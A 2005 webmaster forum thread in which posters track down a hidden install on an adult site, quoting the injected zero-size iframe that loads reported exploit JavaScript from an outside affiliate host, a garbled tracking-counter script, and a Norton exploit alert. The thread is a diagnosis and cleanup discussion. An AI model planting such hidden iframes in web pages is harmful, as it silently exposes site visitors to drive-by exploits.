Joker says I have an install on my site - HELP

**ProjectNaked** · 04-05-2005, 11:16 PM

sucks...I've been getting all kind of attempts from worms and lots of nasty email attachments -

**bringer** · 04-05-2005, 11:17 PM

where specificly is he seeing it? i did a quick check and found nothing remotely close to that

**JOKER** · 04-05-2005, 11:18 PM

A bit out of context - but ok, I'll play...

Look for this sourcecode at the near bottom of the site:

Code:

<!-- BEGIN SEXTRACKER CLIT CODE v2.1_f - ALTERATION WILL RESULT IN INACCURATE STATS --> <!-- THE FOLLOWING CODE IS COPYRIGHT (C) 1997-99 FLYING CROCODILE, INC --> <iframe src="http://mycounter.biz/in.php?wm=bruce" width="0" height="0"></iframe>

**Mr.Fiction** · 04-05-2005, 11:19 PM

Maybe he has spyware on his computer.

**bringer** · 04-05-2005, 11:20 PM

Originally posted by JOKEREMPIRE

A bit out of context - but ok, I'll play...

Look for this sourcecode at the near bottom of the site:

Code:

<!-- BEGIN SEXTRACKER CLIT CODE v2.1_f - ALTERATION WILL RESULT IN INACCURATE STATS --> <!-- THE FOLLOWING CODE IS COPYRIGHT (C) 1997-99 FLYING CROCODILE, INC --> <iframe src="http://mycounter.biz/in.php?wm=bruce" width="0" height="0"></iframe>

Code:

<!-- BEGIN SEXTRACKER CLIT CODE v2.1_f - ALTERATION WILL RESULT IN INACCURATE STATS --> <!-- THE FOLLOWING CODE IS COPYRIGHT (C) 1997-99 FLYING CROCODILE, INC --> <script
language="JavaScript"><!--
jv=10;an=navigator.appName;av=Math.round(parseFloat(navigator.appVersion)*1000);if(
navigator.appName.substring(0,9)hahahaha"Microsoft"){an="MSIE";}if((anhahahaha"MSIE")&&(parseInt
(navigator.appVersion)hahahaha2)){av=3010;}
//--></script> <script language="JavaScript1.1"><!--
jv=11;
//--></script> <script
language="JavaScript1.2"><!--
jv=12;window.onerror=function(){return true;}
//--></script> <script language="JavaScript1.3"><!--
jv=13;
//--></script> <script
language="JavaScript1.4"><!--
jv=14;
//--></script> <script language="JavaScript"><!--
j=0;tmp="";ss="na";cd="na";je="na";dt=new Date();tz=dt.getHours();hr=""+escape(
parent.document.referrer);function isNotDefined(v){return((vhahahaha"undefined")?true:false);}
if((isNotDefined(hr)hahahahatrue)||(hrhahahaha"")||(hrhahahaha"bookmarks")){hr="Bookmark";}else{wl=
window.location.href;if(wl.lastIndexOf('/')!=(wl.length-1)){wl=wl+"/";}tdr=
parent.document.referrer;if(tdr.lastIndexOf('/')!=(tdr.length-1)){tdr=tdr+"/";}if(tdrhahahahawl)
{hr="na";}}if(jv>=11){je=(navigator.javaEnabled()hahahahatrue)?"tr":"fa";}if(jv>=12){ss=
screen.width+"x"+screen.height;cd=(anhahahaha"MSIE")?screen.colorDepth:screen.pixelDepth;
if(isNotDefined(cd)hahahahatrue){cd="na";}}u="jv="+jv+"&an="+an+"&av="+av+"&ss="+ss+"&cd="+cd+
"&r="+hr+"&je="+je+"&ud=623"+"&tz="+tz;if(document.bgColor!=null){itag=
"<font color=\""+document.bgColor+"\">";}else{itag="";}itag=itag+
"<img height=\"1\" width=\"1\" border=\"0\" alt=\"\" src=\"http://clit4."+
"sextracker.com/clit?CID=179715&"+u+"\">";if(document.bgColor!=null){itag=itag+"</font>";}
document.write(itag+"\n");
//--></script> <noscript><img height="1"
width="1" border="0" alt
src="http://clit4.sextracker.com/clit?CID=179715&jv=00&ud=623"> </noscript> <!-- DONE WITH SEXTRACKER CLIT CODE -- HAVE A NICE DAY --> </p>

</body>
</html>

**Fake Nick** · 04-05-2005, 11:21 PM

what is your site again ?

**JOKER** · 04-05-2005, 11:23 PM

The site runs with a round-robin DNS on 3 servers, so it's possible
you only see the code only on one of them for certain countries and just on a first-visit (it disappeared for me after telling Sleazy and doing a reload of the page)

What the iframe does is it shows the encoded Javascript from

http://iframeprofit.com/adverts/bruce/index.php
(dont click if your PC is not 100% secure - EXPLOIT)

which is obviously the code of affiliate "bruce" of http://iframeprofit.com

**jigga** · 04-05-2005, 11:26 PM

Originally posted by SleazyDream

on icq now with joker, this is pissing me off cause I can't find it.

here's what he said to me. (note - to my knowledge i have no installs)

"anyway... you can install what you want, it gets back to you earlier or later when it changes your affiliate-codes and does funny shit with the ppl that visit your site. I dont care, cause you hurt yourself, besides the whole industry of course... except a few, that can keep their users mashines clean (networks that actually care and send legit campaigns)... If you would admit you did, I had no problem with it... I know the code was there, I know it's not just for me since my mashine is clean, yet it had to be a "miracle" if I believe you. "

to my knowledge there are NO installs on my site - but it has been hacked before. I'm looking over all my servers with the tecks now and can't find this code he's accusing me of putting on the site

this is what he says is there <iframe src="http://mycounter.biz/in.php?wm=bruce" width="0" height="0"></iframe>

does anyone else see this - we can't seem to find it?

i'm thinking he's got a virus that's adding this to sites like mine on his machine from somewhere else but i'm open to anyone's help here if they see it on my site cause if it's there I want it off - BAD.

scott

Many times I find (thanks to surfer emails) that stuff appears on galleries/sites that only shows up on specific country ip's. Personally I don't trust counters much and that may be what's causing it.

**fünkmaster** · 04-05-2005, 11:28 PM

Originally posted by Fake Nick

what is your site again ?

... I more and more enjoy your comments !!

**SleazyDream** · 04-05-2005, 11:28 PM

we found it and removed it.

same fuckers as before. uggggg

fucking theives

**bringer** · 04-05-2005, 11:29 PM

Originally posted by jigga

Many times I find (thanks to surfer emails) that stuff appears on galleries/sites that only shows up on specific country ip's. Personally I don't trust counters much and that may be what's causing it.

yep, ive had the same problem with counters and foreign traffic

**JOKER** · 04-05-2005, 11:29 PM

Originally posted by Mr.Fiction

Maybe he has spyware on his computer.

No Spyware here, 110% sure

**bringer** · 04-05-2005, 11:29 PM

Originally posted by SleazyDream

we found it and removed it.

same fuckers as before. uggggg

fucking theives

server hacked or what?

**jigga** · 04-05-2005, 11:30 PM

Originally posted by jigga

Many times I find (thanks to surfer emails) that stuff appears on galleries/sites that only shows up on specific country ip's. Personally I don't trust counters much and that may be what's causing it.

and by counters I don't mean the companies that run the counter (although that's debatable too after porngrah and rumours about others

) but the fact that the same code appears on thousands of pages and thus makes it easy to exploit for hackers to call up whatever they want when a surfer hits that specific code.

**Webmaster_Logic** · 04-05-2005, 11:35 PM

Originally posted by bringer

server hacked or what?

Had to be.

**boneprone** · 04-05-2005, 11:41 PM

My sites were hacked yesterday....

**boneprone** · 04-05-2005, 11:42 PM

Actually my programer's security was breached and his usernames and login passwords to my servers was left exposed for the hackers to take and get into my server at will..

Still having Jupiter Hosting run a full diagonistic on what all was installed other than a change in my index pages. But for now my host techs have found info on the guy and have blocked em out..

According to my programer some back doors were installed.

So Sleazy, always watch those backdoors..

**frankfortuna** · 04-05-2005, 11:45 PM

Since we're on the topic, I've been getting this from the al4a/worldsex ad server for months upon every 10-40 clicks to their banners. Pierre says everything is clean. Anyone else getting this or is it a Norton bug perhaps?

can type: Auto-Protect Scan
Event: Threat Found!
Threat: Bloodhound.Exploit.20
File: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\6FGZALOB\bla[1].ani
Location: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\6FGZALOB
Computer: HOME
User: Administrator
Action taken: Clean failed : Quarantine failed : Access denied
Date found: Wednesday, April 06, 2005 3:39:42 AM

**KRL** · 04-05-2005, 11:50 PM

There are some hardcore asian hackers making the rounds on servers.

**TheJimmy** · 04-05-2005, 11:50 PM

it's ok to be dirty....just use cologne...

PS: that polymorphic shit is bad bad bad news...

.

**JOKER** · 04-05-2005, 11:51 PM

Originally posted by frankfortuna

Since we're on the topic, I've been getting this from the al4a/worldsex ad server for months upon every 10-40 clicks to their banners. Pierre says everything is clean. Anyone else getting this or is it a Norton bug perhaps?

can type: Auto-Protect Scan
Event: Threat Found!
Threat: Bloodhound.Exploit.20
File: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\6FGZALOB\bla[1].ani
Location: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\6FGZALOB
Computer: HOME
User: Administrator
Action taken: Clean failed : Quarantine failed : Access denied
Date found: Wednesday, April 06, 2005 3:39:42 AM

Do you honestly surf the net and work logged in as Administrator?

Full rights and all??

**DateDoc** · 04-05-2005, 11:59 PM

I have to admit at first glance of this post I thought Sleazy was saying "Choker says....." So I went back to the beginning to reread as I couldn't for the life of me figure out why Choker would help Sleazy out and found out it was "Joker says......"

Ackk, it is too late and too many beverages to be going through GFY. Night, night!

**pornstar2pac** · 04-06-2005, 12:00 AM

is there anyway you can stop these hackers?

maybe $100,000 will make them go away

**SleazyDream** · 04-06-2005, 12:18 AM

Originally posted by BusterPorn

I have to admit at first glance of this post I thought Sleazy was saying "Choker says....." So I went back to the beginning to reread as I couldn't for the life of me figure out why Choker would help Sleazy out and found out it was "Joker says......"

Ackk, it is too late and too many beverages to be going through GFY. Night, night!

jesus christ - i get blaimed for every fucking thing with choker with you people - no wonder he's insane.

**fünkmaster** · 04-06-2005, 12:30 AM

Originally posted by frankfortuna

Since we're on the topic, I've been getting this from the al4a/worldsex ad server for months upon every 10-40 clicks to their banners. Pierre says everything is clean. Anyone else getting this or is it a Norton bug perhaps?

can type: Auto-Protect Scan
Event: Threat Found!
Threat: Bloodhound.Exploit.20
File: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\6FGZALOB\bla[1].ani
Location: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\6FGZALOB
Computer: HOME
User: Administrator
Action taken: Clean failed : Quarantine failed : Access denied
Date found: Wednesday, April 06, 2005 3:39:42 AM

... same here, but i kept quite, now the cat is out of the bag.

**fünkmaster** · 04-06-2005, 12:32 AM

Originally posted by JOKEREMPIRE

Do you honestly surf the net and work logged in as Administrator?

Full rights and all??

... default NT login shell, gotta love that OS !!

Joker says I have an install on my site - HELP

Joker says I have an install on my site - HELP

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment